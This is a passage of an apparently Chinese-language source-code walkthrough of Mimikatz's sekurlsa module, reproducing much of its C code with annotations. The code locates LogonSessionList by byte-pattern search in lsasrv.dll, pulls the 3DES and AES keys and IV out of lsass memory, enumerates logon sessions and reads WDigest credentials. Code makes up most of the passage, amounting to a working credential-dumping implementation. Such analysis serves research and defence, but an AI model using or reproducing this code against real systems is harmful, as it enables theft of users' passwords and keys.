  10. LPVOID address;
  11. PKULL_M_MEMORY_HANDLE hMemory;
  12. } KULL_M_MEMORY_ADDRESS, *PKULL_M_MEMORY_ADDRESS;

kull_m_memory_search() 函数内部定位特征码的内存地址,该函数定义如下。

  1. BOOL kull_m_memory_search(IN PKULL_M_MEMORY_ADDRESS Pattern, IN SIZE_T Length, IN PKULL_M_MEMORY_SEARCH Search, IN BOOL bufferMeFirst)
  2. {
  3. BOOL status = FALSE;
  4. KULL_M_MEMORY_SEARCH sBuffer = {{{NULL, &amp;KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, Search->kull_m_memoryRange.size}, NULL};
  5. PBYTE CurrentPtr;
  6. // 定义搜索的最大地址数(搜索的极限),为保存 lsasrv.dll 模块的内存地址加上 lsasrv.dll 模块的大小
  7. PBYTE limite = (PBYTE) Search->kull_m_memoryRange.kull_m_memoryAdress.address + Search->kull_m_memoryRange.size;
  8. switch(Pattern->hMemory->type)
  9. {
  10. case KULL_M_MEMORY_TYPE_OWN:
  11. switch(Search->kull_m_memoryRange.kull_m_memoryAdress.hMemory->type)
  12. {
  13. case KULL_M_MEMORY_TYPE_OWN:
  14. // CurrentPtr 从 lsasvr.dll 的基地址开始循环,依次递增一个地址,最大地址数为 limite
  15. for(CurrentPtr = (PBYTE) Search->kull_m_memoryRange.kull_m_memoryAdress.address; !status &amp;&amp; (CurrentPtr + Length <= limite); CurrentPtr++)
  16. // 比较 Pattern->address 和 CurrentPtr 指向的两个内存块是否相同,如果相同则说明找到了特征码
  17. status = RtlEqualMemory(Pattern->address, CurrentPtr, Length);
  18. CurrentPtr--;
  19. break;
  20. case KULL_M_MEMORY_TYPE_PROCESS:
  21. case KULL_M_MEMORY_TYPE_FILE:
  22. case KULL_M_MEMORY_TYPE_KERNEL:
  23. // 为 sBuffer.kull_m_memoryRange.kull_m_memoryAdress.address 开辟内存空间
  24. if(sBuffer.kull_m_memoryRange.kull_m_memoryAdress.address = LocalAlloc(LPTR, Search->kull_m_memoryRange.size))
  25. {
  26. // 将包含 lsasvr.dll 模块的那部分内存复制到 sBuffer.kull_m_memoryRange.kull_m_memoryAdress 所指向的内存中
  27. if(kull_m_memory_copy(&amp;sBuffer.kull_m_memoryRange.kull_m_memoryAdress, &amp;Search->kull_m_memoryRange.kull_m_memoryAdress, Search->kull_m_memoryRange.size))
  28. // 再次调用 kull_m_memory_search 函数将进入到 case KULL_M_MEMORY_TYPE_OWN:
  29. if(status = kull_m_memory_search(Pattern, Length, &amp;sBuffer, FALSE))
  30. CurrentPtr = (PBYTE) Search->kull_m_memoryRange.kull_m_memoryAdress.address + (((PBYTE) sBuffer.result) - (PBYTE) sBuffer.kull_m_memoryRange.kull_m_memoryAdress.address);
  31. LocalFree(sBuffer.kull_m_memoryRange.kull_m_memoryAdress.address);
  32. }
  33. break;
  34. case KULL_M_MEMORY_TYPE_PROCESS_DMP:
  35. // ......
  36. default:
  37. break;
  38. }
  39. break;
  40. default:
  41. break;
  42. }
  43. Search->result = status ? CurrentPtr : NULL;
  44. return status;
  45. }

该函数首先划分出 lsasrv.dll 所属的内存空间从而确定要搜索的范围大小 limite,然后遍历 limite 范围的内存,通过 RtlEqualMemory() 函数匹配出与特征码相同的内存块,最终确定特征码的地址。得到的特征码地址被赋值给 Search->result,回到 kuhl_m_sekurlsa_utils_search_generic() 函数中就是 sMemory.result

接着,回到 kuhl_m_sekurlsa_utils_search_generic() 函数中开始定位 LogonSessionList 变量。首先从 currentReference 中获取第一个偏移量加到特征码地址上,如下所示。

  1. aLsassMemory.address = (PBYTE) sMemory.result + currentReference->Offsets.off0;

这里获得的是 lea rcx 指令中保存 LogonSessionList 变量偏移量的四个字节序列的地址。然后通过 kull_m_memory_copy() 函数获取这四个字节序列的值到 offset 中,此时 offset 中保存的是 LogonSessionList 变量真正的偏移量。将 sizeof(LONG)offset 加到 rip 指向的地址上即可得到 LogonSessionList 变量的地址,如下所示。

  1. aLocalMemory.address = &amp;offset;
  2. if(pLib->isInit = kull_m_memory_copy(&amp;aLocalMemory, &amp;aLsassMemory, sizeof(LONG)))
  3. ·*genericPtr = ((PBYTE) aLsassMemory.address + sizeof(LONG) + offset);

拿到 LogonSessionList 变量的地址后,返回 kuhl_m_sekurlsa_acquireLSA() 函数,将继续调用 lsassLocalHelper->AcquireKeys 所指的函数。在这里是 kuhl_m_sekurlsa_nt6_acquireKeys() 函数,用于获取加密用户凭据的密钥。

  1. if(kuhl_m_sekurlsa_utils_search(&amp;cLsass, &amp;kuhl_m_sekurlsa_msv_package.Module))
  2. {
  3. // 继续调用 kuhl_m_sekurlsa_nt6_acquireKeys 函数
  4. status = lsassLocalHelper->AcquireKeys(&amp;cLsass, &amp;lsassPackages[0]->Module.Informations);
  5. if(!NT_SUCCESS(status))
  6. PRINT_ERROR(L"Key import\n");
  7. }

Extract BCrypt Key & Vector

跟进 kuhl_m_sekurlsa_nt6_acquireKeys() 函数:

  • sekurlsa\crypto\kuhl_m_sekurlsa_nt6.c
  1. KIWI_BCRYPT_GEN_KEY k3Des, kAes;
  2. BYTE InitializationVector[16];
  3. // ......
  4. NTSTATUS kuhl_m_sekurlsa_nt6_acquireKeys(PKUHL_M_SEKURLSA_CONTEXT cLsass, PKULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION lsassLsaSrvModule)
  5. {
  6. NTSTATUS status = STATUS_NOT_FOUND;
  7. KULL_M_MEMORY_ADDRESS aLsassMemory = {NULL, cLsass->hLsassMem}, aLocalMemory = {NULL, &amp;KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
  8. KULL_M_MEMORY_SEARCH sMemory = {{{lsassLsaSrvModule->DllBase.address, cLsass->hLsassMem}, lsassLsaSrvModule->SizeOfImage}, NULL};
  9. #if defined(_M_X64)
  10. LONG offset64;
  11. #endif
  12. PKULL_M_PATCH_GENERIC currentReference;
  13. if(currentReference = kull_m_patch_getGenericFromBuild(PTRN_WIN8_LsaInitializeProtectedMemory_KeyRef, ARRAYSIZE(PTRN_WIN8_LsaInitializeProtectedMemory_KeyRef), cLsass->osContext.BuildNumber))
  14. {
  15. aLocalMemory.address = currentReference->Search.Pattern;
  16. // 根据特征码获取 LsaInitializeProtectedMemory_KeyRef 的地址
  17. if(kull_m_memory_search(&amp;aLocalMemory, currentReference->Search.Length, &amp;sMemory, FALSE))
  18. {
  19. // 特征码的地址加上偏移量 off0 到达保存 InitializationVector 偏移量的那四个字节的地址
  20. aLsassMemory.address = (PBYTE) sMemory.result + currentReference->Offsets.off0;
  21. #if defined(_M_ARM64)
  22. // ......
  23. #elif defined(_M_X64)
  24. aLocalMemory.address = &amp;offset64;
  25. // 获取包含 InitializationVector 偏移量的那四个字节的内容,并把加到特征码的地址上,最终得到了 InitializationVector 的绝对地址
  26. if(kull_m_memory_copy(&amp;aLocalMemory, &amp;aLsassMemory, sizeof(LONG)))
  27. {
  28. aLsassMemory.address = (PBYTE) aLsassMemory.address + sizeof(LONG) + offset64;
  29. #elif defined(_M_IX86)
  30. // ......
  31. #endif
  32. // 全局变量 InitializationVector 中将存储初始化向量
  33. aLocalMemory.address = InitializationVector;
  34. if(kull_m_memory_copy(&amp;aLocalMemory, &amp;aLsassMemory, sizeof(InitializationVector)))
  35. {
  36. // 特征码的基地址加上偏移量 off1 到达保存 h3DesKey 偏移量的那四个字节的地址
  37. aLsassMemory.address = (PBYTE) sMemory.result + currentReference->Offsets.off1;
  38. if(kuhl_m_sekurlsa_nt6_acquireKey(&amp;aLsassMemory, &amp;cLsass->osContext, &amp;k3Des,
  39. #if defined(_M_ARM64)
  40. currentReference->Offsets.armOff1
  41. #else
  42. 0
  43. #endif
  44. ))
  45. {
  46. aLsassMemory.address = (PBYTE) sMemory.result + currentReference->Offsets.off2;
  47. if(kuhl_m_sekurlsa_nt6_acquireKey(&amp;aLsassMemory, &amp;cLsass->osContext, &amp;kAes,
  48. #if defined(_M_ARM64)
  49. currentReference->Offsets.armOff2
  50. #else
  51. 0
  52. #endif
  53. ))
  54. status = STATUS_SUCCESS;
  55. }
  56. }
  57. }
  58. }
  59. }
  60. return status;
  61. }

首先,同样是通过 kull_m_patch_getGenericFromBuild() 函数选出适用于当前系统版本的 PTRN_WIN8_LsaInitializeProtectedMemory_KeyRef 中的特征码条目,用来定位加密用户凭据的初始化向量 InitializationVectorh3DesKeyhAesKey 密钥。

kuhl_m_sekurlsa_nt6_acquireKeys() 函数中,先通过与 kuhl_m_sekurlsa_utils_search_generic() 函数类似的逻辑获取 InitializationVector 的地址,然后调用两次 kuhl_m_sekurlsa_nt6_acquireKey() 函数定位 h3DesKeyhAesKey 的地址。

跟进 kuhl_m_sekurlsa_nt6_acquireKey() 函数:

  • sekurlsa\crypto\kuhl_m_sekurlsa_nt6.c
  1. BOOL kuhl_m_sekurlsa_nt6_acquireKey(PKULL_M_MEMORY_ADDRESS aLsassMemory, PKUHL_M_SEKURLSA_OS_CONTEXT pOs, PKIWI_BCRYPT_GEN_KEY pGenKey, LONG armOffset) // TODO:ARM64
  2. {
  3. BOOL status = FALSE;
  4. KULL_M_MEMORY_ADDRESS aLocalMemory = {&amp;aLsassMemory->address, &amp;KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
  5. KIWI_BCRYPT_HANDLE_KEY hKey; PKIWI_HARD_KEY pHardKey;
  6. PVOID buffer; SIZE_T taille; LONG offset;
  7. // 根据 BuildNumber 中的系统版本,在几种 KIWI_BCRYPT_KEY 结构中选择适合的版本
  8. if(pOs->BuildNumber < KULL_M_WIN_MIN_BUILD_8)
  9. {
  10. taille = sizeof(KIWI_BCRYPT_KEY);
  11. offset = FIELD_OFFSET(KIWI_BCRYPT_KEY, hardkey);
  12. }
  13. else if(pOs->BuildNumber < KULL_M_WIN_MIN_BUILD_BLUE)
  14. {
  15. taille = sizeof(KIWI_BCRYPT_KEY8);
  16. offset = FIELD_OFFSET(KIWI_BCRYPT_KEY8, hardkey);
  17. }
  18. else
  19. {
  20. // taille 为 KIWI_BCRYPT_KEY81 结构体的大小
  21. taille = sizeof(KIWI_BCRYPT_KEY81);
  22. // offset 为 hardkey 属性在 KIWI_BCRYPT_KEY81 结构体中的偏移
  23. offset = FIELD_OFFSET(KIWI_BCRYPT_KEY81, hardkey);
  24. }
  25. if(buffer = LocalAlloc(LPTR, taille))
  26. {
  27. #if defined(_M_ARM64)
  28. // ......
  29. #elif defined(_M_X64)
  30. LONG offset64;
  31. aLocalMemory.address = &amp;offset64;
  32. // 获取保存 h3DesKey 偏移量的那四个字节的值,并加到 rip 指令的地址上,最终得到了 h3DesKey 变量的地址
  33. if(kull_m_memory_copy(&amp;aLocalMemory, aLsassMemory, sizeof(LONG)))
  34. {
  35. aLsassMemory->address = (PBYTE) aLsassMemory->address + sizeof(LONG) + offset64;
  36. aLocalMemory.address = &amp;aLsassMemory->address;
  37. #elif defined(_M_IX86)
  38. // ......
  39. #endif
  40. // 将 BCRYPT_KEY_HANDLE 结构的 h3DesKey 变量复制到 aLocalMemory.address 指向的内存中
  41. if(kull_m_memory_copy(&amp;aLocalMemory, aLsassMemory, sizeof(PVOID)))
  42. {
  43. aLocalMemory.address = &amp;hKey;
  44. if(kull_m_memory_copy(&amp;aLocalMemory, aLsassMemory, sizeof(KIWI_BCRYPT_HANDLE_KEY)) &amp;&amp; hKey.tag == 'UUUR')
  45. {
  46. // 将 KIWI_BCRYPT_HANDLE_KEY::key,也就是 KIWI_BCRYPT_KEY81 结构复制到 buffer 指向的内存中
  47. aLocalMemory.address = buffer; aLsassMemory->address = hKey.key;
  48. if(kull_m_memory_copy(&amp;aLocalMemory, aLsassMemory, taille) &amp;&amp; ((PKIWI_BCRYPT_KEY) buffer)->tag == 'MSSK') // same as 8
  49. {
  50. // buffer 加上 offset 到达 KIWI_BCRYPT_KEY::hardkey 的地址
  51. pHardKey = (PKIWI_HARD_KEY) ((PBYTE) buffer + offset);
  52. // 将 KIWI_HARD_KEY::data 复制到 aLocalMemory.address 指向的内存中
  53. if(aLocalMemory.address = LocalAlloc(LPTR, pHardKey->cbSecret))
  54. {
  55. aLsassMemory->address = (PBYTE) hKey.key + offset + FIELD_OFFSET(KIWI_HARD_KEY, data);
  56. if(kull_m_memory_copy(&amp;aLocalMemory, aLsassMemory, pHardKey->cbSecret))
  57. {
  58. __try
  59. {
  60. // 通过 BCryptGenerateSymmetricKey 函数创建一个密钥对象
  61. status = NT_SUCCESS(BCryptGenerateSymmetricKey(pGenKey->hProvider, &amp;pGenKey->hKey, pGenKey->pKey, pGenKey->cbKey, (PUCHAR) aLocalMemory.address, pHardKey->cbSecret, 0));
  62. }
  63. __except(GetExceptionCode() == ERROR_DLL_NOT_FOUND){}
  64. }
  65. LocalFree(aLocalMemory.address);
  66. }
  67. }
  68. }
  69. }
  70. }
  71. LocalFree(buffer);
  72. }
  73. return status;
  74. }

这里以获取 h3DesKey 为例,获取 hAesKey 的方法相同。首先通过 kull_m_memory_copy() 函数获取保存 h3DesKey 偏移量的那四个字节的值,并加到 rip 指令的地址上得到了 h3DesKey 变量的地址,然后再将 h3DesKey 变量复制到 hKey 指向的内存中。这里需要知道的 h3DesKey 变量是一个 BCRYPT_KEY_HANDLE 的句柄结构,由于句柄相当于指针的指针,因此该句柄中保存着存储密钥内容的那块内存的指针的指针,指向密钥的指针结构,可以在 Mimikatz 中找到了这个结构:

  1. typedef struct _KIWI_BCRYPT_HANDLE_KEY {
  2. ULONG size;
  3. ULONG tag; // 'UUUR'
  4. PVOID hAlgorithm;
  5. PKIWI_BCRYPT_KEY key;
  6. PVOID unk0;
  7. } KIWI_BCRYPT_HANDLE_KEY, *PKIWI_BCRYPT_HANDLE_KEY;

此外,可以看到 KIWI_BCRYPT_HANDLE_KEY 中的属性 key 是一个指向 KIWI_BCRYPT_KEY 结构体的指针,由于当前测试环境为 Windows 10 x64 1903,因此这使用的是 KIWI_BCRYPT_KEY81 版本,其声明如下。

  1. typedef struct _KIWI_BCRYPT_KEY81 {
  2. ULONG size;
  3. ULONG tag; // 'MSSK'
  4. ULONG type;
  5. ULONG unk0;
  6. ULONG unk1;
  7. ULONG unk2;
  8. ULONG unk3;
  9. ULONG unk4;
  10. PVOID unk5; // before, align in x64
  11. ULONG unk6;
  12. ULONG unk7;
  13. ULONG unk8;
  14. ULONG unk9;
  15. KIWI_HARD_KEY hardkey;
  16. } KIWI_BCRYPT_KEY81, *PKIWI_BCRYPT_KEY81;

此外 KIWI_BCRYPT_KEY81 的最后一个成员 hardkey 是一个 KIWI_HARD_KEY 结构体,该结构声明如下,其中的字节数组 data 保存了实际的密钥值,而 cbSecretdata 的大小。

  1. typedef struct _KIWI_HARD_KEY {
  2. ULONG cbSecret;
  3. BYTE data[ANYSIZE_ARRAY]; // etc...
  4. } KIWI_HARD_KEY, *PKIWI_HARD_KEY;

我们可以使用 WinDBG 来提取这个密钥,如下所示:

image-20221218125411580

我们可以通过相同的过程来提取 hAesKey 中的密钥。

最后再调用 BCryptGenerateSymmetricKey() 函数,通过已获取的密钥内容创建一个密钥对象,并由 pGenKey->hKey 接收得到的密钥句柄,用于后续的解密过程。

至此,整个 kuhl_m_sekurlsa_acquireLSA() 函数调用结束,返回 kuhl_m_sekurlsa_enum() 函数中枚举用户信息。

Enumerate Session Information

Pivoting From LogonSessionList

我们曾经讲到过,LogonSessionList 是一个 LIST_ENTRY 结构体,因此它也是一个双向链表,可以使用 WinDBG 命令遍历浏览,如下图所示。

image-20221218125559775

该结构中的 Flink 指向真正的模块链表,链表的每个成员都是一个包含了用户会话信息的结构体,具体结构因不同系统而异,在 Windows 10 x64 1903 系统中,Mimikatz 对其声明如下。

  1. typedef struct _KIWI_MSV1_0_LIST_63 {
  2. struct _KIWI_MSV1_0_LIST_63 *Flink; //off_2C5718
  3. struct _KIWI_MSV1_0_LIST_63 *Blink; //off_277380
  4. PVOID unk0; // unk_2C0AC8
  5. ULONG unk1; // 0FFFFFFFFh
  6. PVOID unk2; // 0
  7. ULONG unk3; // 0
  8. ULONG unk4; // 0
  9. ULONG unk5; // 0A0007D0h
  10. HANDLE hSemaphore6; // 0F9Ch
  11. PVOID unk7; // 0
  12. HANDLE hSemaphore8; // 0FB8h
  13. PVOID unk9; // 0
  14. PVOID unk10; // 0
  15. ULONG unk11; // 0
  16. ULONG unk12; // 0
  17. PVOID unk13; // unk_2C0A28
  18. LUID LocallyUniqueIdentifier;
  19. LUID SecondaryLocallyUniqueIdentifier;
  20. BYTE waza[12]; /// to do (maybe align)
  21. LSA_UNICODE_STRING UserName;
  22. LSA_UNICODE_STRING Domaine;
  23. PVOID unk14;
  24. PVOID unk15;
  25. LSA_UNICODE_STRING Type;
  26. PSID pSid;
  27. ULONG LogonType;
  28. PVOID unk18;
  29. ULONG Session;
  30. LARGE_INTEGER LogonTime; // autoalign x86
  31. LSA_UNICODE_STRING LogonServer;
  32. PKIWI_MSV1_0_CREDENTIALS Credentials;
  33. PVOID unk19;
  34. PVOID unk20;
  35. PVOID unk21;
  36. ULONG unk22;
  37. ULONG unk23;
  38. ULONG unk24;
  39. ULONG unk25;
  40. ULONG unk26;
  41. PVOID unk27;
  42. PVOID unk28;
  43. PVOID unk29;
  44. PVOID CredentialManager;
  45. } KIWI_MSV1_0_LIST_63, *PKIWI_MSV1_0_LIST_63;

可以看到,该结构里包含了登录 ID(LocallyUniqueIdentifier)、用户名(UserName)、域名(Domaine)、登录时间(LogonTime)、凭据(Credentials)以及登录到的服务器(LogonServer)等信息,这里我们真正需要的是登录 ID(LocallyUniqueIdentifier)。

Enumerate User Information

回到 kuhl_m_sekurlsa_enum() 函数中,定义了以下部分代码用于枚举用户信息。

  1. if(NT_SUCCESS(status))
  2. {
  3. sessionData.cLsass = &amp;cLsass;
  4. sessionData.lsassLocalHelper = lsassLocalHelper;
  5. if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_2K3)
  6. helper = &amp;lsassEnumHelpers[0];
  7. else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_VISTA)
  8. helper = &amp;lsassEnumHelpers[1];
  9. else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_7)
  10. helper = &amp;lsassEnumHelpers[2];
  11. else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_8)
  12. helper = &amp;lsassEnumHelpers[3];
  13. else if(cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_BLUE)
  14. helper = &amp;lsassEnumHelpers[5];
  15. else
  16. helper = &amp;lsassEnumHelpers[6];
  17. if((cLsass.osContext.BuildNumber >= KULL_M_WIN_MIN_BUILD_7) &amp;&amp; (cLsass.osContext.BuildNumber < KULL_M_WIN_MIN_BUILD_BLUE) &amp;&amp; (kuhl_m_sekurlsa_msv_package.Module.Informations.TimeDateStamp > 0x53480000))
  18. helper++; // yeah, really, I do that =)
  19. securityStruct.hMemory = cLsass.hLsassMem;
  20. if(securityStruct.address = LogonSessionListCount)
  21. // 把 LogonSessionListCount 复制到 nbListes 中
  22. kull_m_memory_copy(&amp;data, &amp;securityStruct, sizeof(ULONG));
  23. // for(i = 0; i < LogonSessionListCount; i++)
  24. for(i = 0; i < nbListes; i++)
  25. {
  26. securityStruct.address = &amp;LogonSessionList[i];
  27. data.address = &amp;pStruct;
  28. data.hMemory = &amp;KULL_M_MEMORY_GLOBAL_OWN_HANDLE;
  29. if(aBuffer.address = LocalAlloc(LPTR, helper->tailleStruct))
  30. {
  31. // 把 LogonSessionList[i] 复制到 pStruct 指向的内存中
  32. if(kull_m_memory_copy(&amp;data, &amp;securityStruct, sizeof(PVOID)))
  33. {
  34. data.address = pStruct;
  35. data.hMemory = securityStruct.hMemory;
  36. // while((pStruct != &amp;LogonSessionList[i]) &amp;&amp; retCallback)
  37. while((data.address != securityStruct.address) &amp;&amp; retCallback)
  38. {
  39. // 把 LogonSessionList[i](pStruct)复制到 aBuffer.address 指向的内存中
  40. if(kull_m_memory_copy(&amp;aBuffer, &amp;data, helper->tailleStruct))
  41. {
  42. sessionData.LogonId = (PLUID) ((PBYTE) aBuffer.address + helper->offsetToLuid);
  43. sessionData.LogonType = *((PULONG) ((PBYTE) aBuffer.address + helper->offsetToLogonType));
  44. sessionData.Session = *((PULONG) ((PBYTE) aBuffer.address + helper->offsetToSession));
  45. sessionData.UserName = (PUNICODE_STRING) ((PBYTE) aBuffer.address + helper->offsetToUsername);
  46. sessionData.LogonDomain = (PUNICODE_STRING) ((PBYTE) aBuffer.address + helper->offsetToDomain);
  47. sessionData.pCredentials= *(PVOID *) ((PBYTE) aBuffer.address + helper->offsetToCredentials);
  48. sessionData.pSid = *(PSID *) ((PBYTE) aBuffer.address + helper->offsetToPSid);
  49. sessionData.pCredentialManager = *(PVOID *) ((PBYTE) aBuffer.address + helper->offsetToCredentialManager);
  50. sessionData.LogonTime = *((PFILETIME) ((PBYTE) aBuffer.address + helper->offsetToLogonTime));
  51. sessionData.LogonServer = (PUNICODE_STRING) ((PBYTE) aBuffer.address + helper->offsetToLogonServer);
  52. kull_m_process_getUnicodeString(sessionData.UserName, cLsass.hLsassMem);
  53. kull_m_process_getUnicodeString(sessionData.LogonDomain, cLsass.hLsassMem);
  54. kull_m_process_getUnicodeString(sessionData.LogonServer, cLsass.hLsassMem);
  55. kull_m_process_getSid(&amp;sessionData.pSid, cLsass.hLsassMem);
  56. // callback 为 kuhl_m_sekurlsa_enum_callback_logondata
  57. retCallback = callback(&amp;sessionData, pOptionalData);
  58. if(sessionData.UserName->Buffer)
  59. LocalFree(sessionData.UserName->Buffer);
  60. if(sessionData.LogonDomain->Buffer)
  61. LocalFree(sessionData.LogonDomain->Buffer);
  62. if(sessionData.LogonServer->Buffer)
  63. LocalFree(sessionData.LogonServer->Buffer);
  64. if(sessionData.pSid)
  65. LocalFree(sessionData.pSid);
  66. data.address = ((PLIST_ENTRY) (aBuffer.address))->Flink;
  67. }
  68. else break;
  69. }
  70. }
  71. LocalFree(aBuffer.address);
  72. }
  73. }
  74. }

这里先根据 BuildNumber 中的系统版本,从 lsassEnumHelpers 中选择适合的条目,这是一个 KUHL_M_SEKURLSA_ENUM_HELPER 结构体的数组,用于保存用户的各种信息在 KIWI_MSV1_0_LIST_63 中的偏移量,其声明如下。

  1. typedef struct _KUHL_M_SEKURLSA_ENUM_HELPER {
  2. SIZE_T tailleStruct;
  3. ULONG offsetToLuid;
  4. ULONG offsetToLogonType;
  5. ULONG offsetToSession;
  6. ULONG offsetToUsername;
  7. ULONG offsetToDomain;
  8. ULONG offsetToCredentials;
  9. ULONG offsetToPSid;
  10. ULONG offsetToCredentialManager;
  11. ULONG offsetToLogonTime;
  12. ULONG offsetToLogonServer;
  13. } KUHL_M_SEKURLSA_ENUM_HELPER, *PKUHL_M_SEKURLSA_ENUM_HELPER;

然后通过遍历 LogonSessionList 依次得到登录 ID、用户名、域名、凭据、SID、登录时间以及登录到的服务器等信息,并将让它们临时保存在 sessionData 中,这是一个 KIWI_BASIC_SECURITY_LOGON_SESSION_DATA 结构体,其声明如下。

  1. typedef struct _KIWI_BASIC_SECURITY_LOGON_SESSION_DATA {
  2. PKUHL_M_SEKURLSA_CONTEXT cLsass;
  3. const KUHL_M_SEKURLSA_LOCAL_HELPER * lsassLocalHelper;
  4. PLUID LogonId;
  5. PLSA_UNICODE_STRING UserName;
  6. PLSA_UNICODE_STRING LogonDomain;
  7. ULONG LogonType;
  8. ULONG Session;
  9. PVOID pCredentials;
  10. PSID pSid;
  11. PVOID pCredentialManager;
  12. FILETIME LogonTime;
  13. PLSA_UNICODE_STRING LogonServer;
  14. } KIWI_BASIC_SECURITY_LOGON_SESSION_DATA, *PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA;

最后将 &amp;sessionDatapOptionalData 传入回调函数 kuhl_m_sekurlsa_enum_callback_logondata()

Print logon Information

Print Basic User Information

跟进 kuhl_m_sekurlsa_enum_callback_logondata() 函数:

  • sekurlsa\kuhl_m_sekurlsa.c
  1. BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_logondata(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData, IN OPTIONAL LPVOID pOptionalData)
  2. {
  3. PKUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA pLsassData = (PKUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA) pOptionalData;
  4. ULONG i;
  5. //PDWORD sub = NULL;
  6. if((pData->LogonType != Network))
  7. {
  8. kuhl_m_sekurlsa_printinfos_logonData(pData);
  9. // 遍历 pLsassData 中的所有 lsass 包,这里只有一个 kuhl_m_sekurlsa_msv_package
  10. for(i = 0; i < pLsassData->nbPackages; i++)
  11. {
  12. if(pLsassData->lsassPackages[i]->Module.isPresent &amp;&amp; lsassPackages[i]->isValid)
  13. {
  14. kprintf(L"\t%s :\t", pLsassData->lsassPackages[i]->Name);
  15. // CredsForLUIDFunc 为 kuhl_m_sekurlsa_enum_logon_callback_msv
  16. pLsassData->lsassPackages[i]->CredsForLUIDFunc(pData);
  17. kprintf(L"\n");
  18. }
  19. }
  20. }
  21. return TRUE;
  22. }

在该函数中,先判断登录类型是否是 Network,如果不是,则对传入的用户登录信息 pData 调用 kuhl_m_sekurlsa_printinfos_logonData() 函数,打印用户的会话、用户名、域名、登录到的服务器、登陆时间以及 SID 登信息。

然后,继续对 pData 调用 lsass 包中的 CredsForLUIDFunc 指向的函数,在这里是 kuhl_m_sekurlsa_enum_logon_callback_wdigest() 函数。

Print Credentials Information

跟进 kuhl_m_sekurlsa_enum_logon_callback_wdigest() 函数:

  • sekurlsa\packages\kuhl_m_sekurlsa_wdigest.c
  1. PKIWI_WDIGEST_LIST_ENTRY l_LogSessList = NULL;
  2. LONG offsetWDigestPrimary = 0;
  3. // ...
  4. void CALLBACK kuhl_m_sekurlsa_enum_logon_callback_wdigest(IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData)
  5. {
  6. KULL_M_MEMORY_ADDRESS aLocalMemory = {NULL, &amp;KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aLsassMemory = {NULL, pData->cLsass->hLsassMem};
  7. SIZE_T taille;
  8. BOOL wasNotInit = !kuhl_m_sekurlsa_wdigest_package.Module.isInit;
  9. if(kuhl_m_sekurlsa_wdigest_package.Module.isInit || kuhl_m_sekurlsa_utils_search_generic(pData->cLsass, &amp;kuhl_m_sekurlsa_wdigest_package.Module, WDigestReferences, ARRAYSIZE(WDigestReferences), (PVOID *) &amp;l_LogSessList, NULL, NULL, &amp;offsetWDigestPrimary))
  10. {
  11. #if defined(_M_ARM64)
  12. if(wasNotInit)
  13. l_LogSessList = (PKIWI_WDIGEST_LIST_ENTRY)((PBYTE)l_LogSessList + sizeof(RTL_CRITICAL_SECTION));
  14. #endif
  15. aLsassMemory.address = l_LogSessList;
  16. taille = offsetWDigestPrimary + sizeof(KIWI_GENERIC_PRIMARY_CREDENTIAL);
  17. if(aLsassMemory.address = kuhl_m_sekurlsa_utils_pFromLinkedListByLuid(&amp;aLsassMemory, FIELD_OFFSET(KIWI_WDIGEST_LIST_ENTRY, LocallyUniqueIdentifier), pData->LogonId))
  18. {
  19. if(aLocalMemory.address = LocalAlloc(LPTR, taille))
  20. {
  21. if(kull_m_memory_copy(&amp;aLocalMemory, &amp;aLsassMemory, taille))
  22. kuhl_m_sekurlsa_genericCredsOutput((PKIWI_GENERIC_PRIMARY_CREDENTIAL) ((PBYTE) aLocalMemory.address + offsetWDigestPrimary), pData, 0);
  23. LocalFree(aLocalMemory.address);
  24. }
  25. }
  26. } else kprintf(L"KO");
  27. }

kuhl_m_sekurlsa_enum_logon_callback_wdigest() 函数内部首先调用 kuhl_m_sekurlsa_utils_search_generic() 函数来定位 l_LogSessList 变量,并将包含凭据信息的 KIWI_GENERIC_PRIMARY_CREDENTIAL 相对于 KIWI_WDIGEST_LIST_ENTRY 结构的起始偏移量赋值给 offsetWDigestPrimary

然后,遍历整个l_LogSessList 链表,并通过 kuhl_m_sekurlsa_utils_pFromLinkedListByLuid() 函数对 l_LogSessList 中的 LocallyUniqueIdentifier 与之前获取到的 LogonSessionList 中的登录 ID 进行比较,kuhl_m_sekurlsa_utils_pFromLinkedListByLuid() 定义如下。

  1. PVOID kuhl_m_sekurlsa_utils_pFromLinkedListByLuid(PKULL_M_MEMORY_ADDRESS pSecurityStruct, ULONG LUIDoffset, PLUID luidToFind)
  2. {
  3. PVOID resultat = NULL, pStruct;
  4. KULL_M_MEMORY_ADDRESS data = {&amp;pStruct, &amp;KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aBuffer = {NULL, &amp;KULL_M_MEMORY_GLOBAL_OWN_HANDLE};
  5. if(aBuffer.address = LocalAlloc(LPTR, LUIDoffset + sizeof(LUID)))
  6. {
  7. // 将 pSecurityStruct 也就是 l_LogSessList 复制到 pStruct 中
  8. if(kull_m_memory_copy(&amp;data, pSecurityStruct, sizeof(PVOID)))
  9. {
  10. data.address = pStruct;
  11. data.hMemory = pSecurityStruct->hMemory;
  12. // 如果 pStruct != l_LogSessList
  13. while(data.address != pSecurityStruct->address)
  14. {
  15. // ReadProcessMemory(cLsass.hProcess, pStruct, aBuffer.address, sizeof(KIWI_WDIGEST_LIST_ENTRY), NULL)
  16. if(kull_m_memory_copy(&amp;aBuffer, &amp;data, LUIDoffset + sizeof(LUID)))
  17. {
  18. if(SecEqualLuid(luidToFind, (PLUID) ((PBYTE)(aBuffer.address) + LUIDoffset)))
  19. {
  20. resultat = data.address;
  21. break;
  22. }
  23. data.address = ((PLIST_ENTRY) (aBuffer.address))->Flink;
  24. }
  25. else break;
  26. }
  27. }
  28. LocalFree(aBuffer.address);
  29. }
  30. return resultat;
  31. }

